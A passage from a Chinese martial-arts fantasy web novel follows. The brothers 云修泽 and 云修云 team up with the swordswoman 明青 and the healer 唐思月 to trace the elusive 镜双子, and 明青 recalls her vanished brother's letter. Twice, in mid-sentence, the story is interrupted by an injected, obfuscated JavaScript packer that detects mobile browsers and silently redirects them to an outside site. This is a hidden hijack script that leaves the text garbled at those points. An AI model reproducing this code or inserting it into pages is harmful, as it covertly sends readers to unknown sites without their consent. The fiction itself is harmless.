云修泽转眼看她,眼中有了一丝笑意。 “我以为你不来了。” 明青冷淡的瞥了他一眼。 “那你就不会叫我的名字了。” 云修云被他们你一句我一句的交谈搞的云里雾里,唐思月和行愿不清楚,他却是一直在他哥身边。 什么时候冒出来这么个人?还跟他哥约好今晚见面? 但他也不是个傻子,从头到尾缕了一遍,心中便有了数,他表情有些怪异的看着明青,又转头去看云修泽。 “这就是你说的无关紧要的小贼???” “正是。” 云修泽笑得有些玩味,冲他点了点头表示肯定。 明青没说什么,神色淡淡的站在那里。 她实在是一个不可多得的美人,皮肤白净,双眼微微上挑,本应有妩媚之意,放在这张脸上,却让人觉得此人应是云中仙,只可远观才是。 长发被利落挽起,眉眼浓密,薄唇也显得相得益彰,神色虽然冷淡,但并不显得冷漠。 她笑起来应该很好看。 云修泽难得走了个神,思绪不知道飘到了哪里。 明青将几个人打量了一番,似乎也被唐思月的容貌惊艳到,眼神在唐思月和行愿身上多停留了一下。 唐思月见状向她微笑点头,行愿不知是什么时候回到了唐思月身边,他遮着一张脸,只有眼眸沉沉,让人猜不透他在想些什么。 明青也冲她点了点头算作回礼,开口道。 “你们好,我是明青。” 云修云还等着听下一句,却发现她一句过后就不打算再说些什么了,无奈之下,只能将希望寄托在云修泽身上。 云修泽似乎并不意外她的寡言,十分自然的将话接了过来。 原来,明青也是冲着镜双子的印记来的,只是恰巧和兄弟两人选在了同一天探访唐府。 她显然也知道双生子有在记号中留言的习惯,于是在看到云修泽想要去触摸时,便果断出了手。 她自幼得师傅教诲,修习了一门步法诡谲的轻功,真真假假,假假真真。 习成后,除了师傅,她便再没遇到第二人可以破解此法,给足了她底气,便是不敌,也可全身而退。 明青知道云修泽尚且还有一个同伴,而她却是孤身一人,所以出手果决,只为求快速得手,不过没有想到的是,云修泽虽然不能破解,但却同样是一个轻功高手。 两人纠缠不休,短时间内根本分不出胜负,于是明青便提出了合作,她曾修过一门法诀,可以与人在短时间内共享五感。 云修泽不知是出于什么考量,很快便答应了她。 等明青将法术套在两人身上后,云修泽便运转周身灵力,和她一起去触碰双子的记号。 两人静静等了一会儿,可什么都没有听见,虽然镜双子从来没有留下记号却不留言的时候,但他们向来喜怒无常,很难因为没有留言就断定记号为假。 云修泽为他们难以揣摩的性格感到头疼不已。 明青却说这个记号大概率是真的,她曾机缘巧合之下见过另一个,与墙上这个相差无几,没有留言,也可能是已经被人捷足先登了。 这时,云修泽向她提出了另一个合作。 他将之前探查结界的事情告知了她,断言三天后会有人为此而来,他不知对方底细,也不清楚他们实力怎样,他虽然不想趟这趟浑水,但却不得不趟。 他自己的轻功了得,想逃跑没什么问题,可无奈的是还有一个逃命技能学的不怎么好的弟弟。 他愿打头阵,先去查探小屋内的东西,大概率会和那对兄妹有关系,如果拿到手,也愿意让她一观。 明青要做的,就是在强敌到来,而他们不敌时出手帮忙。 这个合作不可谓不划算,如果顺利的话,她甚至只用作壁上观,无须出力便可看到自己想要的东西。 明青没有不答应的理由,她点点头表示同意后,便身似鬼魅,几个闪身间,就翩然离去了,留下了刚刚张嘴想要说些什么的云修泽。 云修泽不知是被自己还是被她的行为气笑了,低头轻笑几声,无奈的摇了摇头后,就回身去等自己家那个迟钝的臭小子了。 等他将事情说完,几人才算是明白了为什么明青会突然出现在这里。 云修云默默盘算了一下自己那天赶去用的时间,对他们的交手速度和谈合作的果决感到咂舌。 “我想去双生子留下记号的地方看看。” 唐思月突然开口说道。 云修泽并不意外她这个要求,虽然只有短暂的接触,但他也大概知道了唐思月不是一个是被养在深闺中的娇小姐,与之相反,她冷静而又坚强。 “好,我们再去看看。” 云修泽看了明青一眼,示意让她同去。 明青点了点头,很快明白了云修泽的用意。 于是几人又移步到了之前那个正厅,唐思月心无旁骛的向记号走去,哪怕她的父亲很可能就死在这里,也没有被动摇。 她仔细端详着那个印记,末了又用手指蹭了蹭,放到鼻尖下轻嗅,还伸出舌尖轻轻一点尝了尝,露出了思索的神色。 云修泽轻轻眯了眯眼。 她擅医毒,医者试百草,毒者尝百味,如果是她,的确有可能分辨出这个记号的用料。 果然不出他所料,不一会儿她就说道。 “这个记号是假的,我们家有一本书曾经记录过,镜双子喜欢在记号的用料中加入一种不知名花朵的花汁,那种花极其罕见,有惑人心智的功效,会散发出一种非常淡的香味,这也是为什么镜双子能够在一个记号中留言的原因,留言一半是真的,还有一半便是人们被这种花蛊惑后产生的幻觉,这个记号中并没有这种花。” 云修泽双手抱剑倚在一根柱子上,整个人挺拔修长,十分有世家公子的做派,让人很难想象他刚刚经历了一场杀戮。 听到唐思月的话,他似乎并不意外。 “刚刚那帮人实力虽强,但也绝不可能将唐家那么多人一夜之间全部悄无声息地灭口,就算是他们,也没人会蠢到专门留一个记号去引导别人来跟他们抢东西,杀人和夺宝的是两拨人,只是不知道是出于什么目的了。” “最好是私仇。” 明青眼神不动,抛出了一句话。 云修泽弯着眼睛,赞同的点了点头。 “地图。” 明青冲云修泽伸出手,要求他履行之前的承诺。 她张口便是地图,便可以知晓她全程都在围观,却直到最后才出手,云修泽耸耸肩,不甚在意的将地图递给她。 明青将地图接过,展开仔细看了看,没有多问些什么,便又将地图卷好送了回来。 “你说的那种花可以迷惑人的心智,让人做他不想做的事情吗?” 明青突然向唐思月提问,唐思月愣了愣,回道。 “可以是可以,不过需要大量的花儿,而且只能短时间的控制,毕竟它的主要作用还是制造幻境。” 明青似乎有些失望,右手放在刻有深流名字的剑鞘上,冲他们微微颔首。 “此间事了,诸位保重,告辞。” 说罢,她就转身离去,几乎是眨眼间就消失了个彻底。 云修云正张着嘴想要说些什么,见此,迟疑着没有将嘴闭上,反而转口问道。 “这么突然吗?” 云修泽拍了拍他的肩,感叹道。 “知足吧,至少这次她还说了个告辞。” 旁边的唐思月被他们逗笑了,云修云看着她的笑容,知道她的心情不再那么沉重,也缓和了眉眼,无声的笑起来。 天色已经不再那么浓黑,四周安静的只有虫鸣的声音。 云修泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950933|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手伸了个懒腰,一只手放在脖子上左右歪了歪。 “咱们先回客栈吧,唐姑娘身体不好,咱们休整一天再回去。” 唐思月脸上总是带着礼貌地笑意,听了他的话,笑容也不禁真诚了几分。 “云大哥不必客气,我还未取字,两位叫我思月就好。” 云修云眼睛亮了亮,似乎很想立刻就喊上几声,被一旁的云修泽一个眼刀甩过去堵上了嘴,他冲唐思月笑道。 “既如此,你也不用和我们那么客气了。” 趁天还黑着,几人悄声回了客栈,互相道别后,就回了自己的房中。 次日,几人便如同来时一般,低调的离开了这里。 * 今日小雨。 绵绵的雨丝打在树叶上,落在屋檐顶,点在池塘中,和着风,送来了四月少有的寒意。 此时前厅中茶香四溢,茶面也有淡淡的热气升起。 云修泽听着细密的雨声,难得有些倦意,他捧着茶杯,盯着那慢腾腾升腾的白雾,眼睛也不眨地说。 “世叔,静山白虽好,也莫要贪杯啊。” 林家主斟茶的手一僵,若无其事的将杯子放回了桌案上。 “咳!你小子,惯会调侃人,竟还调侃道你世叔头上了。” 云修泽像一只狐狸一样眯眼笑了笑。 昨日他们归来天色已是不早,叔侄三人坐在房中将事情细细讲来,云修泽有心想问那几枚妖丹主人的来头,可无奈世上觊觎地图的人多如过江之鲫,林家主也不敢断言,只能建议他们如若真想知道,可冒险前往佘渊一试。 这与明青的说法不谋而合,云修泽沉下心来,将这件事往后排了排,佘渊边缘的白界已是必然之旅,那顺路去个佘渊也不是不行。 云修泽还想说什么,就被林家主赶下去休息,无论什么要紧事都要往后靠。 云修泽无奈,却也知道林家主是出于疼爱之心,不得不听从,可他心里搁着事情,今日一早,用过早膳后,便赶来堵他了。 叔侄两人静静的听了会儿雨,当林家主还沉浸在岁月静好的宁静氛围里时,云修泽一句话就让他将口中的茶喷了出来。 “世叔,其实父亲给我的任务不止如此,他给了我一份地图,还让我找齐其他四份来着。” 林家主急忙接过婢子递来的方巾擦了擦嘴,震惊道。 “你父亲疯了?不是把你们兄弟扔火坑里面去了吗?那个老东西到底想干嘛?不行!我得给他写信好好说道说道!” 他越说越生气,直接起身向外走去,云修泽连忙拦住了他,好说歹说将他劝回了座位上。 “世叔不必忧心,历练如果不难又如何起到作用呢?想必父亲自有他的考虑,我们兄弟虽然不是镜双子那种顶尖的高手,但保命肯定是没什么问题,这不是刚刚离家就得了一份嘛。” 林家主勉强平静了下来,他坐在那里捏着茶杯,恨铁不成钢地叹道。 “唉!子竹啊,你将这件事情想的太过简单了,你能那么快拿到一份地图,只能说是天时地利人和,运气好罢了!你不知道有多少人在盯着这件事情,想要完成你父亲给你的任务,难如登天啊!” 云修泽笑了笑。 “子竹知道,这不就来找您寻求帮助了吗?” 林家主见他难得学云修云的样子向长辈卖乖,不由有些心软。 “你且说说看。” 云修泽如果有狐狸尾巴,只怕此时就已经摇起来了。 “世叔,我父亲是个只管杀不管埋的,只将白界那个人尽皆知的线索告知了我们,世叔神通广大,不知可有其他的线索?” 林家主没什么好气的哼了一声。 “你小子到会找人,的确有,在计都,不过是人们口耳相传,不知真假罢了。剩下的你等我先派人去找找。” 云修泽没想到竟然还真的有,属于意外之喜了,听到林家主的话,反而摇了摇头。 “有消息已经够好的了,世叔万不可再派人查探,林家行商,处事圆滑,从来不招惹不该招惹的,切莫因我们去趟这趟混水,以免招来祸端。” 林家主看他神色郑重,知道他是认真的,于是点了点头,没再坚持。 云修泽绕道他身后,笑眯眯的替他揉肩。 林家主闭眼受着,哼哼笑道。 “说罢臭小子,还有什么事?” 这小子贼的很,肯定还有事儿要求他。 果不其然,云修泽将他伺候舒服了,就笑着同他商量。 “世叔也知道,白界大比是组队的形式,我们这孤零零的兄弟两个也不知去哪儿找可信的,不知可否跟您要个人?” “哼!我们林府竟然还有你这个大少爷能看上眼的,不容易啊,说吧,谁啊,不过分的话我就考虑考虑。” 林家主故意跟他拿架,却没想到这小子很有想法,他低头在林家主耳边一字一顿地说。 “唐、思、月。” 7. 孚望七 雨还下着,茶还温着。 云修泽却已经被关在了门外。 看着眼前紧闭的门,云修泽有些好笑的摇头,他拍了拍门,冲门内喊道。 “世叔啊,您要不听我说完呢?” 门内林家主怒气冲冲。 “滚!臭小子!我把恩人的女儿接过来是为了让她安心养病,保证她的安全的!这次你们去,她回来就带了伤,你竟然还想让她一个柔柔弱弱的小姑娘跟着你们去冒险!这不是要陷我于不义吗?” 云修泽叹了口气,也不再执着于进门。 “世叔,每个人都有每个人的缘法,您之前也跟我说过,她并不是手无缚鸡之力的人,这次我们去,也能感觉到她坚强的一面,想来她的父母亲人虽然没有死在镜双子手下,但凶手故意留下了双生子的记号,唐家还留着双生子的地图,多多少少,肯定是和双生子脱不了关系的。您将她养在这里,又焉知她不想追查真相呢?” 屋内没有声音,过了良久,门才慢慢被打开,林家主站在门口,神情参杂着无奈和落寞。 “世叔知道你说的不无道理,我走南闯北那么多年,早已没有了年轻时的冲劲,现下家中的生意你们大哥已经在逐步接手,我也准备着安享晚年了,想着若是她不嫌弃,就认个干女儿,总能保她生活无忧,却也未曾想过,她是否执着的想要一个真相。” 云修泽看着这个五十多岁,身体健壮就已经在准备安享晚年的人,只觉得有钱真好,他将手握拳放在嘴边掩饰笑容。 “咳,那子竹就当您同意了,我这就去问问思月的意见。” 林家主瞥了他一眼,没好气的说。 “我要是不同意,你小子就还有八百套说辞等着我呢,还不如少受些折磨。” 云修泽也不反驳他,心情很是不错的样子,冲他行了个礼就喜滋滋地离开了。 雨不知什么时候停了,周围还带着湿润的气味。 等云修泽找到唐思月这里时,就瞧见她正坐在院中不紧不慢地烹茶,而云修云则与行愿在空旷的地方切磋。 一开始云修云还想着在有好感的姑娘面前好好表现,用的都是些十分漂亮的招式,搁在面容俊朗,意气风发的少年郎身上十分的赏心悦目,只不过几个回合下来,他就没有了这个花孔雀的心思。 行愿毕竟比他有经验的多,一招一式虽然简单,但是招招干脆利落,角度刁钻,云修云比着比着也不得不拿出了十分的认真,两人你来我往,专注的旁若无人。 云修泽来到唐思月身边坐下,唐思月为他斟了一杯茶,被云修泽婉拒,他看着院中的两人,明明是在提问,语气却十分肯定。 “行愿大哥在给他喂招。” 唐思月不意外他能看出来,没有说话,轻笑着点了点头。 云修泽支着头,陪她看了一会儿,突然开口问道。 “行愿的身法很像是专门学过正统的招式,但是又糅杂了很多野路子,十分难对付,而且他总是容易让人忽略他的存在,这是为什么呢?” 唐思月温和地解释道。 “行愿早年的经历十分坎坷,他曾流落在外,为了活下去被迫争抢,之后找到父母后,又被送去做了暗卫,所以他总是会不自觉地拉低自己的存在感,毕竟暗卫就是这个样子。” 云修泽点点头,又问道。 “那他为什么总是戴着面具呢?” 这个问题唐思月回答不了,摇了摇头,道。 “许是他自己的心结吧,也许有一天,他愿意自己摘下这个面具,放下心上的包袱。” 云修泽看着她,嘴角微微勾起。 “思月。” “嗯?” 唐思月轻轻抬眼看他。 “想跟我们一起去找镜双子的踪迹吗?” 唐思月不是蠢人,听到他的话,眼神明显动了动,她迟疑地说。 “可是我身体不好,现在还有伤,总怕会拖你们后腿。” 她明显想去的样子让云修泽勾起了嘴角。 “世叔已经将寻回的灵草一类命人带下去制药了,都是对症的,虽不能叫你如同常人一般习武,但至少能让你摆脱风中摇曳的美人灯的身体,至于你的伤,我既然邀请你,就不会弃你的身体于不顾,自然要等你养好身体再上路。” 唐思月神情添了几分雀跃,如果没有后顾之忧,她愿竭力一试! “嗯!那我跟你们一起上路。” 看她决定的如此之快,云修泽反倒有些担忧,语重心长地说。 “你要知道,这并非儿戏,前路必定荆棘满布,你要慎重考虑。” 唐思月眼中没有阴霾,十分豁达道。 “我不怕!世路多有不平,没有一条是不需要付出代价的,想要什么,总要付出别的用来交换不是吗?” 云修泽感慨地点点头,抬头看见云修云和行愿不知道是什么时候已经停下了切磋,来到了两人身边。 听到两人一起上路的决定,云修云眼睛亮亮的,后来回去的时候,云修云还和他说已经准备好了每月给她送信了,没想到竟然能一起上路。 而行愿总是那个样子,八风不动的守着唐思月,似乎唐思月决定去哪里他都不会有意见,竟是全凭她做主。 日头已经临近中午,几人刚刚决定一起上路,正是有心好好亲近的时候,便吩咐下去,叫人在这里摆了一桌,四人一同用饭,不过行愿不愿摘下面具,便只是在这里陪着他们叙话,虽然也说不了几句。 后来大云小云就安心住下了,陪着唐思月养身体的同时,也没有懈怠自身,整日拉着行愿切磋,行愿自认有职责在身,不愿离开唐思月,两人便到唐思月这里找他,总能磨他同意。 唐思月也每天喝着药,眼见着身体是有所好转。 看着美人气色越来越好,云修云有时总是乐的不知天南地北,经常出门去买一些新奇的小玩意来哄她展颜,林家主看在眼里,便总是沉浸在‘儿子长大了会拱白菜了’与‘养的白菜要被拱了’的矛盾心理中,后来干脆不听不问,眼不见为净。 几人住了小半个月,总算将身体养得差不多了,按照计划,准备启程前往计都。 林家主为他们准备了比上次更加宽敞平稳舒适的马车,还为他们备了一些金银细软用作盘缠,常年出门在外,竟然连外宿的帐篷都给他们准备了几顶。 云修云抱着他被感动的一个劲的说‘我爱您’,林家主受不了他,却推也推不开,只能任他抱着摇晃,云修泽想起那碎银二十两,也忍不住和他感叹。 “您才是亲爹吧!” 林家主一脸嫌弃将他们轰到一边,叫过唐思月到一边去低声叮嘱着什么,只见唐思月温顺的应承着,还不时点点头。行愿在不远处看着她,像是看到什么新奇的东西一样,眼神有些奇怪。 那边唐思月郑重地给林家主行了一个晚辈礼,算作拜别,林家主将她扶起,转身擦了擦眼角,挥手示意让他们赶紧离开。 兄弟二人恭敬的向他道别后,便牵过马,跟着马车车轮滚动的声音,在这个万里无云的日子里,安静的上路了。 * 森林广袤,日色渐沉。 四人走了一段日子,已经十分熟练。 眼见着是没办法在天黑前赶到下一处城镇,四人便寻了个开阔的地方扎营,准备在此休息一晚。 唐思月给了三人一颗防毒的药丸后,便在附近撒了一圈毒药,用来驱赶虫兽,也用来防备陌生人。 见到云修泽去了不远处盘腿打坐,陷入了冥思,云修云便自告奋勇,出去猎了几只野兔回来,还摘了不少野果,见此,唐思月就拿了一些锅碗出来。 云修云有些惊喜地问。 “你会做饭吗?” 唐思月好笑地看了他一眼,将一应用具递给了行愿,说道。 “我不会做饭,但是行愿会做。” 只见行愿默不作声的接过来,动作利索的将野兔拨皮去骨,清洗内脏,架火烹制了起来。 一套连贯的动作将云修云这个小少爷看的钦佩不已,直接化身小尾巴,跟着他到处跑,学习观摩。 不知什么时候起,云修泽身边聚满了一堆毛茸茸的小动物,丝毫不怕他的样子,一部分在他身上撒欢,还有一部分也围在他的周围,甚至头上还顶了一只松鼠。 唐思月有些好奇,云修云就为她解释。 “我哥就是这样,体质特殊,动物们总爱亲近他,在野外,不到半个时辰就会这样聚过来。” 他抬了抬下巴,示意她看树旁悠闲吃草的马儿,有些郁闷。 “就连踏风和追云这两匹马,哪怕平时是我对它们更好,他们也更愿意亲近大哥,刚才 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云修泽顺着她的目光看向自己腿上的小猫,不太确定的将小猫抱给她,明青捏捏手,小心翼翼地接了过去。 那小猫一到她身上就显得有些不安,可能是碍着云修泽的面子,硬是在她怀中待了一会儿才挣扎着跳下去跑没了影。 那厢明青还在目送那只小猫的背影,云修泽在这边就有些疑惑地开口道。 “这是怎么了?” 一般来说不会出现这种情况啊。 明青却并不意外。 “从小我的家人为了我不被毒害,会专门给我喂毒,现在我虽不怕毒,可身体里全是毒血,所以它们不敢靠近我,这只都算是例外了。” 云修泽看她的眼神都有些怜悯了,无言拍了拍她的肩,看她这样子,肯定是很喜欢这些小东西,但根本无法靠近,怎一个苦字了得啊。 “虽然我很欢迎美人相随,但你跟着我们干嘛?” 明青瞥了他一眼。 “没跟着,路过。” 云修泽无视她的眼刀。 “路过?你要去哪?” 明青没有瞒着他,干脆道。 “佘渊。” 云修泽有点纳闷。 “佘渊?那你走这条路干嘛?这又不是去佘渊的路。” 明青抿抿嘴,眼神瞟向一边没有说话。 云修泽见此,挑了挑眉,有些讨嫌的弯腰去追她的眼睛,无论她身体怎么转,都锲而不舍地要跟她对视。 明青躲不开他,干脆放弃挣扎,面无表情的和他对视。 那边云修云三人排排坐,眨着眼睛看两人一个面上带笑,一个面无表情的沉默对视。 明青静静的盯着他,盯着盯着就走了神,时间变得缓慢,而她尚且不知这究竟意味着什么。 云修泽生的虽然不是一眼惊艳的好看,但胜在身形英拔,眉眼如墨。 从第一次见面起,他就总是带着明青不理解的笑,还总能笑出不同的花样,眼睛也配合着。 但有时他虽笑着,眼睛似乎很深情的看着你,可眼底透露的清醒又叫人无端发冷。 明青眼神动了动,对视间突然有点好奇,去探究他此刻眼底的冷暖。 云修泽专注的看着她,似乎并不觉得两人不过三面之交,本应警惕陌生着,反而神色柔和的像是看着一个相识多年,可以信任的好友一般,只有轻微的调侃,还带了一些她看不懂的东西。 似乎有谁说过,只有当你认真的去看着某个人,才能看清他眼中的自己,只有当你和某个人长久的相视,才能从心跳声中分辨出新生的曲折。 明青的思绪被自己扯远了一瞬,还没想明白究竟是什么意思,却在看到云修泽眼眶微颤,面色有了一层浅浅的飘红之后,骤然从停滞的时间里听见了自己喧闹的心跳。 不是吧?竟然是真的? 她怀疑云修泽是不是也听见了,匆忙挪开视线,云修泽也没再追上来,反而沉默的扭过头去。 其他三人的眼神在他们之间来回挪动。 过了一会儿,两人又若无其事的开始说话。 “所以你到底为什么在这?” “......” “迷路了。” 8. 孚望八 迷路...... 三脸懵逼,还有一个看不见脸。 说实在的,一个身负灵力,武功高强的人,让人很难将迷路这个词联系在她身上,可偏偏说这个话的人是明青,而且还是在云修泽的追问下才无奈坦言的,让人很难不去相信这件事的真实性。 “哇——”这是云修泽。 “啊?”这是云修云。 “哦~”这是唐思月。 “......”这是行愿。 明青冲几人危险地眯起了眼睛,大有一旦他们再说些什么就要拔剑跟他们干一架的架势。 于是四人看天的看天,看地的看地,看锅的看锅,看人的...还在看人。 云修泽面对她丝毫不怂,甚至跃跃欲试的想再干点什么,直到深流出鞘了几寸,才老实下去。 “咳!那什么,吃了吗?一起吃点儿?” 云修云也热情的冲她笑起来,像是有小狗尾巴在背后摇一样,示意非常欢迎。 明青本想像之前一样,速战速决的告辞,却无奈云修泽早有预料,一把将她拦了下来,肚子也同时向她发起了反抗。 于是黑着脸的明青就只能在云修泽满脸像是偷了腥的猫一样的笑容下,被拉进了他们的毒圈子。 唐思月捏着解毒丹药,看她迈进来也毫无异样才反手收了回去,放下了一部分心的同时,又开始自言自语,拿树枝嘀嘀咕咕的在地上画着什么,似乎想要研制一些对这种特殊体质也有用的毒药。 云修泽拉她坐下便没再管她,反而开始和旁边的云修云斗嘴,有时去问唐思月的话,也只挑些无关紧要的。 行愿似乎很放松,坐在那里弓着背,有一搭没一搭的控制着火候,防止晚饭泡汤。 在这种温馨但是不吵闹的和谐氛围下,明青也渐渐卸下了防备,靠着树安静的享受着晚风的吹拂,直到晚饭的香味飘来,才震了震精神,坐直了身体,接过了云修泽递来的碗筷。 几人聚在一起,除了云修云都不是聒噪的人,可偏偏云修云吃饭最是专注,有时饿的狠了,一顿饭下来也顾不上插一句嘴,所以这顿饭用的很是安静,只有偶尔几句交谈。 等众人都吃得差不多了,云修云突然开口问向明青。 “你去佘渊是想查双生子的线索吗?” 明青嚼东西的动作停了一下,觉得也没有瞒着他的必要,看他一眼还是决定先嚼完再说,云修泽也没催她,十分耐心地等着,等她嘴里没有东西了才终于开了金口。 “嗯。” 很好,惜字如金。 云修泽轻轻挑起一边的眉毛,歪头笑着看她。 “你竟然也对秘宝感兴趣?” 明青并不理会他的试探。 “那你呢?父命难违?” 云修泽也没指望马上就能听到回答,没什么所谓的说。 “可不是嘛,纯锻炼我能力来着,没想抢秘宝。” 那边的云修云瞪着双眼有话要说,但十分乖觉,也知道现在不是时候,没有开口添乱。 “我可都如实告诉你了,你呢?难道要辜负我的坦诚吗?” 云修泽坐在倒下的树身上换了个姿势,一条腿蜷着,一条腿自然的伸长,用手托着脸,上身微微前倾。 身子修长的人做这种动作很是好看,有种说不出来的慵懒潇洒,更别提这个人还长着一张不错的脸,一副眼中只有你的样子看着你。 明青有种他在使美男计的错觉,于是垂下眼不去看他。 “我找失踪的哥哥,他曾留下一封信,信中提到了镜双子。” 这个理由让几人有些意外,连行愿也动了动眼睛去认真看她。 诧异过后,云修泽又有些感兴趣,这是他们遇到的第一个可能和镜双子产生关联的人,但他按捺了自己的性子,只是饶有兴趣地问。 “镜双子名声在外,你哥哥确定不是单纯仰慕他们吗?” 明青摇了摇头,云修泽便知道恐怕他哥哥和镜双子有些纠葛,至少应该是见过面的,他看明青的眼神添了几分认真。 “那封信你可带在身上了?” 明青知道他想干什么,摇了摇头。 “没有,有也不给你看,看你也看不懂。” 云修泽哂然一笑,做小伏低的哄她。 “那不知明姑娘可愿为我们简单说上一两句?日后我们若碰上了,也好帮上你的忙或者知会你一声。” 他从第一面开始就是直呼其名,倒第一次叫她明姑娘。 明青有些新奇,那封信并不是什么秘密,况且他说得也不无道理,他们实力不弱,手中也有地图,是有走到最后的希望的,于是她低下头,开始慢慢的回忆。 那年,她学成归家,父亲母亲总是又高兴又有些忧虑,等她无意中听到他们谈话,才知道原来哥哥曾经在消失前还留下了一封信。 在她幼时模糊的记忆中,哥哥是一个沉默但温和的人,他总将自己关在院子中,也不许人去服侍,诺大的地方,只有一棵老树静静的陪着他,他不见人,连父亲母亲都不愿相见,只有她,只有她这个尚且年幼,记不清事的小妹妹可以随意进出。 她记得有一次新年,父母带她上街,各种花灯吃食让她挑花了眼,她拿了最喜欢的一盏兔子灯去找哥哥,她绷着小脸,内心紧张的推开门,不知哥哥会不会喜欢。 院中没有点灯,黑漆漆的,倒是月光十分清亮,哥哥又坐在树下的石桌上,呆呆地的看着漫天的星月。 孤寂萦绕着他,她不喜欢,于是脚步哒哒的向他跑去,他像是被这声音惊醒一样,动了动身子,停了一会才转头看她。 她将兔子灯递上去,他就笑着揉了揉他的发顶,接过兔子灯放在石桌上,把她轻轻抱了起来。 她坐在他的怀中,和他一起静静看了一会兔子灯中一种发亮的细碎萤石慢慢的上下飘动。 哥哥用下巴轻轻摩挲她的头顶,于是她抬头看他,惯常的面无表情放在小包子脸上应该十分可爱,哥哥忍不住捏捏她的脸,轻笑出声。 “青青,今天玩的开心吗?” 青青眼睛亮亮的点了点头。 “嗯!外面可好看了!人也很多,漂亮姐姐也多,和我一样的小孩子也多,灯也多,好吃的也多,如果哥哥能陪着,青青会更开心!” 她很乐意和他说这些,虽然还不太会描述自己看到的,但总是努力的用自己眼中好的东西去吸引哥哥走出院子。 她虽然年纪小,但天然的敏锐,总觉得哥哥是明白她的,可哥哥一次都没有回应过她,这次也一样。 听到她用简单的言语描述外面繁华和平的景象,他露出了像是有些欣慰,又像是有些失望的神情。 虽然手还在有一下没一下的抚摸着她的头发,可心思却已经不在这里了。他的眼神失焦,嘴里轻轻呢喃着什么。 她认真去听,却也只听到了零星碎语,直到现在她仍然记得那句话。 “我该去找自己了......” 当时的她并不理解那句话,却也将它记在了心中。 她扯扯他的袖子,他回过神来,眼中有了些光彩,不知怎么想的,竟然开始向一个三四岁的小孩子提问。 “青青,你觉得什么样的路算对的呢?” 她并不理解,但不妨碍她回答。 “我喜欢的路就是对的呀。” 夏天,她最喜欢府中那个栽满了鸢藤花的蜿蜒小路。 冬天,她最喜欢结冰的湖边落满了白雪的宽阔平路。 所以,对她来说,只要是喜欢的,就是对的路。 他像是被她的话逗笑了一般,低低的笑起来,引的胸腔也在跟他共振,她靠在他怀中,被震的有些发痒,但她从来没有看到过哥哥这样笑,于是忍着没有说,希望他再震一会儿,也许明天就能和她一起出门了呢? 可她没有想到的是,自那晚过后,他就真的离开了那个院子,不过也离开了家。 她再没有见过他。 虽然没有人跟她说些什么,但她知道,就是哥哥自己离开的,她不明白,但是听人说,出门在外的人,想念家的时候,通常会给家中寄信。 于是她等啊等,等到离家学武,等到学成归来,也没有等到一封信。 可现在却意外让她知道了,原来哥哥当年离开时,竟然还留下了一封信。 她想知道哥哥究竟说了什么,于是等父母睡着,便偷偷的将府中翻了个底朝天,最后还是在父母房间床头的柜子上才找到了被压在一堆房契最下面的那封信。 她悄悄带回自己房中,有些忐忑的打开了它。 父亲,母亲。 展信佳, 请原谅孩儿的任性,这些年来,你们也许觉得我固步自封,不愿面对现实,可我本就不是在这种利益纠葛,感情有真亦能假的环境下成长的,我见过艰难求生的人,见过人们的真情,见过人们的互相扶持,所以那件事,我总觉得是有更好的办法解决的。 我在他身边的时间不长,可我能看到他身上强大又善良的一面,所以他在你们的计划还没有实施的时候,就已经先一步做了他认为最好的决定。 我不怪任何人,他走的每一步都是在为他人着想,以他的聪慧,不会找不到对他更有利的方法,可他的仁善让他选择了截然不同的方向,我尊敬他,也尊重他。 我只是无法面对你们,那天我无意中听到的话,让我前半生的执着显得像是一个笑话,你们和族中长老并着其他世家彻夜长谈,每日你们房中的烛火总是亮到天明,我以为你们是在殚精竭虑的思考万全之法,却没想到能从父亲的口中听到那样冰冷的话。 我那时尚且年轻气盛,气愤的质问着父亲,父亲将我拉到房中,仔仔细细的跟我分析着其中的得失。 可是父亲,你和他之间的感情,我和他之间的而感情,母亲和他之间的感情,难道不用算在其中吗?那些谈笑的时光,难道都是假的吗? 只谈得失,只谈大局,对于一个有情感的人来说,难道一点错都没有吗? 没有多久,就传来了他的事情,他干脆利落的行动,让所有人都不必因他为难。 我在连番的打击之下,将自己困在了院中。 这么多年,其实我也明白,父亲的做法是对的,在那种情况下,如果他不下决断,就必须要有人替他下决断。 我只是无法迈过自己心里的那道坎,在这里,也许我永远也迈不过去,我想了很久。 : : : “我想起了他们,他们曾在这里,看着这一切的发生,我相信,以镜双子的肆意妄为,肯定想过不顾规矩插手其中,他肯定阻止他们了,不然最后不会是这个样子。 我想去找他们,他们身上的自由、坚定令我向往,也许,我能在他们那里找到丢失的自己。” 明青将信中关于镜双子的话缓缓背了出来,她陷入了回忆中,有些失神的想起了信中最后一句话。 ‘孩儿不孝,望父亲母亲保重身体,也希望青青快乐长大。 不孝子恩垚敬上’ 云修云皱着眉,搞不懂这语焉不详的话,唐思月有些新奇的听着,而行愿早就闭上了眼,靠在那里也不知是不是睡着了。 明青明显还有些入神,云修泽等她自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950935|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己回过神来,才语气轻缓地问起。 “你知道具体是什么事情吗?信中的‘他’是谁?” 明青摇头。 “如果知道,我就不会去找那么麻烦的双生子了。” 云修泽了然的点头,又问道。 “那你现在找到什么线索了吗?或者什么方向?” 明青不语,没什么精神的看着他。 云修泽明白了,线索就是他们一起看过的地图,方向就是佘渊。 